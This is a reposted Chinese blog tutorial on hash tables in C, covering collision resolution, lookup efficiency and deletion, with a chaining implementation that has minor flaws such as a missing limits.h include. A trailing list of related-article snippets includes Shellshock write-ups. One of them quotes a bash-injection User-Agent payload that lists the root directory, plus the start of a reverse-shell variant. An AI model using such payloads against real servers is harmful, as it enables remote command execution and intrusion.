Hash表(C语言)

article/2025/9/17 17:23:44

一、简介:

哈希表又称散列表。哈希表存储的基本思想是:以数据表中的每个记录的关键字 key为自变量,通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间(即数组空间)的单元地址(即下标),将该记录存储到这个单元中。在此称该函数H为哈函数或散列函数。按这种方法建立的表称为哈希表或散列表。

二、哈希冲突:

不同key值产生相同的地址,H(key1)=H(key2)

处理冲突的方法:

(1)开放寻址法:H_{i}=(H(key) + d_{i})MODm, i=1,2,…, k(k<=m-1),其中H(key)为散列函数,m为散列表长,d_{i}为增量序列,可有下列三种取法:
        1.d_{i}=1,2,3,…, m-1,称线性探测再散列;
        2.d_{i}=1^{2}, -1^{2}, 2^{2},-2^{2}, 3^{2},...,\pm k^{2},(k<=m/2)称二次探测再散列;
        3.d_{i}=伪随机数序列,称伪随机探测再散列。

例:有一组数据19 01 23 14 55 68 11 86 37要存储在表长11的数组中,其中H(key)=key MOD 11

线性探测再散列

index012345678910
key551 14    1986 
  23冲突23        
   68冲突68冲突68      
 11冲突11冲突11冲突11冲突11冲突11     
     37冲突37冲突37    
最终存储结果5512314681137 1986 

(2)再散列法:H_{i}=RH_{i}(key),i=1,2,…,k。RH_{i}均是不同的散列函数,即在同义词产生地址冲突时计算另一个散列函数地址,直到冲突不再发生,这种方法不易产生“聚集”,但增加了计算时间

(3)链地址法(拉链法):将所有关键字为同义词的记录存储在同一线性链表中,产生hash冲突后在存储数据后面加一个指针,指向后面冲突的数据:

三、hash表的查找:

查找过程和造表过程一致,假设采用开放定址法处理冲突,则查找过程为:
        1.对于给定的key,计算hash地址index = H(key)
        2.如果数组arr[index]的值为空 则查找不成功
        3.如果数组arr[index]== key 则查找成功
        4.否则使用冲突解决方法求下一个地址,直到arr[index] == key 或者 arr[index] == null

hash表的查找效率

决定hash表查找的ASL因素:
        (1)选用的hash函数
        (2)选用的处理冲突的方法
        (3)hash表的饱和度,装载因子 α=n/m(n表示实际装载数据长度,m为表长)

一般情况,假设hash函数是均匀的,则在讨论ASL时可以不考虑它的因素,hash表的ASL是处理冲突方法和装载因子的函数,前人已经证明,查找成功时如下结果:

可以看到无论哪个函数,装载因子越大,平均查找长度越大,那么装载因子α越小越好?也不是,就像100的表长只存一个数据,α是小了,但是空间利用率不高啊,这里就是时间空间的取舍问题了。通常情况下,认为α=0.75是时间空间综合利用效率最高的情况。上面的这个表可是特别有用的。假设我现在有10个数据,想使用链地址法解决冲突,并要求平均查找长度<2,那么有:1+α/2 <2,即α<2,即 n/m<2 (n=10),即m>10/2,即m>5,即采用链地址法,使得平均查找长度< 2,那么m>5。

hash表的构造应该是这样的:

四、hash表的删除:

首先链地址法是可以直接删除元素的,但是开放定址法是不行的,拿前面的双探测再散列来说,假如我们删除了元素1,将其位置置空,那 23就永远找不到了。正确做法应该是删除之后置入一个原来不存在的数据,比如-1。

五、算法实现:

#include<stdio.h>
#include<stdlib.h>#define hashtype int//声明数组元素类型typedef struct {int key;  //键(在数组中的索引)hashtype val;  //值(元素值)
}DataType; //对基本数据类型进行封装,类似泛型typedef struct {DataType data;struct HashNode *next;  //key冲突时,通过next指针进行连接
}HashNode;typedef struct {int size;HashNode *table;
}HashMap, *hashmap;//f1_createHashMap
//将给定的整形数组构建为HashMap,size为数组长度
HashMap *CreateHashMap(int *nums, int size) {//分配内存空间HashMap *hashmap = (HashMap*)malloc(sizeof(HashMap));hashmap->size = 2 * size;//2倍可寻找到‘冲突机会’和‘空间利用率’的一个平衡//hash表分配空间hashmap->table = (HashNode *)malloc(sizeof(HashNode)*hashmap->size);//初始化int j = 0;for (j = 0; j<hashmap->size; j++) {hashmap->table[j].data.val = INT_MIN;hashmap->table[j].next = NULL;}int i = 0;//建立HashMapwhile (i<size) {//根据数组元素的值计算其在hashMap中的位置int pos = abs(nums[i]) % hashmap->size;//判断是否冲突if (hashmap->table[pos].data.val == INT_MIN) {//不冲突//把元素在数组中的索引作为keyhashmap->table[pos].data.key = i;//把元素值作为valuehashmap->table[pos].data.val = nums[i];}//冲突else {//给当前元素分配一个结点,并为结点复制HashNode *lnode = (HashNode*)malloc(sizeof(HashNode)), *hashnode;lnode->data.key = i;lnode->data.val = nums[i];lnode->next = NULL;//从冲突位置开始,遍历链表hashnode = &(hashmap->table[pos]);while (hashnode->next != NULL) {hashnode = hashnode->next;}//将当前结点连接到链表尾部hashnode->next = lnode;}//处理下一个元素i++;}//处理完成,返回HashMapreturn hashmap;
}//f2_GetHashNode
int Get(HashMap hashmap, int value) {	//根据元素值,计算其位置int pos = abs(value) % hashmap.size;HashNode *pointer = &(hashmap.table[pos]);//在当前链表遍历查找该结点while (pointer != NULL) {if (pointer->data.val == value)return pointer->data.key;elsepointer = pointer->next;}//未找到,返回-1return -1;
}//f3_Put,与建立HashMap时插入元素的方法相同
int Put(HashMap hashmap, int key, int value) {int pos = abs(value) % hashmap.size;HashNode *pointer = &(hashmap.table[pos]);if (pointer->data.val == INT_MIN){pointer->data.val = value;pointer->data.key = key;}else {while (pointer->next != NULL)pointer = pointer->next;HashNode *hnode = (HashNode *)malloc(sizeof(HashNode));hnode->data.key = key;hnode->data.val = value;hnode->next = NULL;pointer->next = hnode;}return 1;
}//f4_PrintHashMap 
void PrintHashMap(HashMap* hashmap) {printf("%===========PrintHashMap==========\n");int i = 0;HashNode *pointer;while (i<hashmap->size) {pointer = &(hashmap->table[i]);while (pointer != NULL) {if (pointer->data.val != INT_MIN)printf("%10d", pointer->data.val);elseprintf("        [ ]");pointer = pointer->next;}printf("\n---------------------------------");i++;printf("\n");}printf("===============End===============\n");
}//f5_DestoryHashMap
void DestoryHashMap(HashMap *hashmap) {int i = 0;HashNode *hpointer;while (i<hashmap->size) {hpointer = hashmap->table[i].next;while (hpointer != NULL) {hashmap->table[i].next = hpointer->next;//逐个释放结点空间,防止内存溢出free(hpointer);hpointer = hashmap->table[i].next;hashmap->table[i].next = NULL;//消除野指针}//换至下一个结点i++;}free(hashmap->table);hashmap->table = NULL;free(hashmap);hashmap = NULL;printf("Destory hashmap Success!");
}int main(int argc, char **argv)
{int nums[] = { 34,54,32,32,56,78 };//创建HashMapHashMap *hashmap = CreateHashMap(nums, 6);PrintHashMap(hashmap);//查找元素printf("%d\n", Get(*hashmap, 78));DestoryHashMap(hashmap);getchar();return 0;
}

五、版权声明:

本文节选或转载CSDN博主「洌冰」的原创文章,遵循 CC 4.0 BY-SA 版权协议,以下附上原文出处链接。
       原文链接:https://blog.csdn.net/u011109881/article/details/80379505

本文节选或转载CSDN博主「Rnan_wang」的原创文章,遵循 CC 4.0 BY-SA 版权协议,以下附上原文出处链接。
       原文链接:https://blog.csdn.net/qq_19446965/article/details/102290770


http://chatgpt.dhexx.cn/article/dktxetut.shtml

相关文章

什么是Hash表

1.定义 Hash&#xff08;散列/哈希&#xff09;&#xff0c;就是把任意长度的输入&#xff08;又叫做预映射&#xff0c; pre-image&#xff09;&#xff0c;通过散列算法&#xff0c;变换成固定长度的输出&#xff0c;该输出就是散列值。这种转换是一种压缩映射&#xff0c;也…

HASH表的创建(C语言)

HASH表的创建&#xff08;C语言&#xff09; 一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…

LINUX漏洞复现篇之ShellShock漏洞

简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令 此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shel…

详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

本篇文章适合初学ShellShock漏洞阅读&#xff0c;如果您已经学习过ShellShock漏洞&#xff0c;可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNgs 在学习ShellShock时分享的一点心得&#xff0c;仅供大家参考学习。 ShellShock漏洞出现时间很早&#xff0c;相信很多人也对…

Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多&#xff0c;但是影响范围不是很广泛&#xff0c;不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。 其中最最简单的方法就是使用搜索引擎的hacking技术&#xff0c;这里我使用的Google Hacking语…

Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路

&#xfeff;&#xfeff; 今日爆出一个Bash的RCE漏洞&#xff0c;威力巨大。看了看老外的分析&#xff0c;觉得有必要写一写自己对这个漏洞的理解。 首先&#xff0c;问题起因于一个命令ENV。 原型&#xff1a; env [OPTION]... [NAMEVALUE]... [COMMAND [ARGS]...] Man是…

ShellShock20.04版本

ShellShock20.04版本 Topic shellshock环境变量Bash中的函数定义Apache和CGI程序 实验环境设置 DNS Setting 将IP10.9.0.80和www.seedlab-shellshock.com连接 使用cat /etc/hosts查看DNS设置 hosts格式配置 hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网…